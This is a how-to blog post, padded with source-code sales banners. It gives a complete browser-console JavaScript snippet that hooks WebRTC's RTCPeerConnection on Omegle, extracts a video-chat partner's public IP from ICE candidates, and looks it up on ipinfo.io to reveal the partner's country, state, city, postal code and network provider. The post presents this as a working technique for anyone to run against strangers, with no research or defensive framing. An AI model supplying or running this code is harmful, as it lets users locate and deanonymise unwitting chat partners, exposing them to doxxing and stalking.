BUY FULL SOURCE CODE
Welcome folks today in this blog post we will be geolocating omegle users ip address and location in video chat of omegle using javascript in browser. All the step by step instructions are given below.
Get Started
In order to get started you need to go to omegle.com and select video chat as shown below
And here as you can see we are going into the inspect element and going to console. We need to copy paste the below code inside it
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection; window.RTCPeerConnection = function (...args) { const socialcodia = new window.oRTCPeerConnection(...args); socialcodia.oaddIceCandidate = socialcodia.addIceCandidate; socialcodia.addIceCandidate = function (iceCandidate, ...rest) { const mufazmi = iceCandidate.candidate.split(" "); if (mufazmi[7] === "srflx") { console.clear(); fetchLocation(mufazmi[4]); } return socialcodia.oaddIceCandidate(iceCandidate, ...rest); }; return socialcodia; }; function fetchLocation(ip) { fetch("https://ipinfo.io/" + ip + "?token=###yourtoken###") .then((res) => res.json()) .then((response) => { console.log("Country :" + response.country); console.log("State : " + response.region); console.log("City : " + response.city); console.log("Pin Code : " + response.postal); console.log("Org : " + response.org); }) .catch((error) => console.error("Error:", error)); } |
As you can see inside the above code we are fetching the IP Address and geolocation using the ipinfo API and then you need to fetch the API token as shown below. And then we are using the fetch request and then we are getting the response back from the api. This response contains the country of the omegle user. State and city of the omegle user. And also the pin code and org also. We are also using RTCPeer Connection for this purpose.
Getting the API Token from IPInfo
Now you need to go to ipinfo website and signup for free using your google or github account. And then it will be providing the api access token as shown below
Now you can see the above access token it gives you in the dashboard. Your access token will be different don’t copy mine. And now you need to copy paste the above code inside the console of the browser as shown below. And also you need to replace the API Access token in the above code in the console
And after pasting the code inside the console you need to press the enter key and then you can see the actual ip address and the location details of the omegle user in the video chat as shown below
BUY FULL SOURCE CODE